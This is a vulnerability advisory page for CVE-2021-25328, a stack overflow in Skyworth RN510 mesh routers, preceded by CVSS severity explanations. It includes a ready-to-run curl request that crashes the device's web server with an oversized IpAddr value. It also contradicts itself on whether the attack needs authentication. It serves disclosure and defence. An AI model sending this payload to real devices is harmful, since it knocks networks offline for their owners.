The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Shenzhen Skyworth RN510 Buffer Overflow
itle :- Authenticated Stack Overflow in RN510 mesh Device
CVE-ID:- CVE-2021-25328
Author: Kaustubh G. Padwad
Vendor: Shenzhen Skyworth Digital Technology Company
Ltd.(http://www.skyworthdigital.com/products)
Products:
1. RN510 with firmware V.3.1.0.4 (Tested and verified)
Potential
2.RN620 with respective firmware or below
3.RN410 With Respective firmwware or below.
Severity: High--Critical
Advisory ID
============
KSA-Dev-0010
About the Product:
==================
* RN510 dual-band wireless AC2100 access point delivers high-speed
access for web surfing and HD video streamings. Integrated with two
gigabit LAN ports, and a dual-band AP which supports 2x2
802.11n(300Mbps) and 4x4 802.11ac (1733Mbps) concurrently, RN510provides
a stable & reliable high speed wired and wireless connectivity for home
user and SOHO users. Utilizing state of art EasyMesh solution, two or
more RN510 units could be easily teamed upwith Skyworth ONT gateway
(e.g. GN543) and form an automatically organized network. RN510 could
support either wired line backhaul or wireless backhaul to other mesh
node. User could enjoy a wonderful zero-touch, robust and failure auto
recovery, seamless connected wireless home networking experience.
RN510 uses a system of units to achieve seamless whole-home Wi-Fi
coverage, eliminate weak signal areas once and for all. RN510 work
together to form a unified network with a single network name. Devices
automatically switch between RN510s as you move through your home for
the fastest possible speeds. A RN510 Dual-pack delivers Wi-Fi to an area
of up to 2,800 square feet. And if thats not enough, simply add more
RN510 to the network anytime to increase coverage. RN510 provides fast
and stable connections with speeds of up to 2100 Mbps and works with
major internet service provider (ISP) and modem. Parental Controls
limits online time and block inappropriate websites according to unique
profiles created for each family member. Setup is easier than ever with
the Skywifi app there to walk you through every step.
Description:
============
An issue was discovered on Shenzhen Skyworth
A long Text to the IpAddr function allows remote attackers to cause a
denial of service (segmentation fault) or achieve unauthenticated remote
code execution because of control of registers.
Additional Information
========================
The value of IpAddr under /cgi-bin/app-staticIP.asp function is not
getting sanitized,so passing too much junk data to the IpAddr parameter
triggers to the SIGSEGV segmentation fault in device, post research it
was possible to control the registers.A Successful exploitation could
leads to unauthenticated remote code execution on device.
[Affected Component]
IpAddr function on page /cgi-bin/app-staticIP.asp inside the boa web
server implementation.
------------------------------------------
[Attack Type]
Remote
------------------------------------------
[Impact Code execution]
true
------------------------------------------
[Impact Denial of Service]
true
------------------------------------------
[Attack Vectors]
Remote code execution by running the poc.py against the target ip address.
[Vulnerability Type]
====================
Buffer Overflow,Exec
How to Reproduce: (POC):
========================
One can use below exploit
curl -i -s -k -X $'POST' \
-H $'Host: device_IP' -H $'User-Agent: Mozilla/5.0 (X11; Linux
x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H
$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate'
-H $'Referer: http://device-ip/cgi-bin/app-staticIP.asp' -H
$'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length:
500' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
-b $'SESSIONID=valid_cookie; UID=username; PSW=password' \
--data-binary
$'hEntry0=-1&hEntry1=-1&hEntry2=-1&hEntry3=-1&hEntry4=-1&hEntry5=-1&hEntry6=-1&hEntry7=-1&hEntry8=-1&delete_flag=0&add_flag=1&staticNum=0&emptyEntry=0&tmpStartIp=192.168.2.33&tmpPoolCount=32&dhcpEthStart=192.168.2.33&dhcpEthEnd=32ðSubnetMask=255.255.255.0&IpAddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&MACAddr=AA%3ABB%3ACC%3ADD%3AEE%3AFF'
\
$'http://device_ip/cgi-bin/app-staticIP.asp'
Mitigation
==========
[Vendor of Product]
Shenzhen Skyworth Digital Technology Company
Ltd.(http://www.skyworthdigital.com/products)
Disclosure:
===========
19-Jan-2021:- reported this to vendor
19-Jan-2021:- Requested for CVE-ID
credits:
========
* Kaustubh Padwad
* Information Security Researcher
* [email protected]
* https://s3curityb3ast.github.io/
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad